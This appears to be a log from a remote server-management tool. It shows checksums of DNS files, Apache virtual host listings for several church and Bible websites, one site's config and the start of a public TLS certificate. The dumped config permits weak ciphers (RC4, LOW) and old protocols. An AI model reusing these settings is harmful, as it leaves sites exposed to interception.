MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:29:04: Establishing a connection
2026-05-06 10:29:04: 

PUT: /tmp/pkp676677

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-06 10:29:05: 

chmod 755 /tmp/pkp676677; /tmp/pkp676677; rm /tmp/pkp676677

2026-05-06 10:29:05: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:27)
                 alias www.youngrepairs.com
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 10:29:05: 

PUT: /tmp/pkp881881

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:29:05: 

chmod 755 /tmp/pkp881881; /tmp/pkp881881; rm /tmp/pkp881881

2026-05-06 10:29:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1389

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1389

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://youngrepairs.com/$1 [R=302,L]
</VirtualHost>







2026-05-06 10:29:05: 

PUT: /tmp/pkp873754

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 10:29:05: 

chmod 755 /tmp/pkp873754; /tmp/pkp873754; rm /tmp/pkp873754

2026-05-06 10:29:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt	5320
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
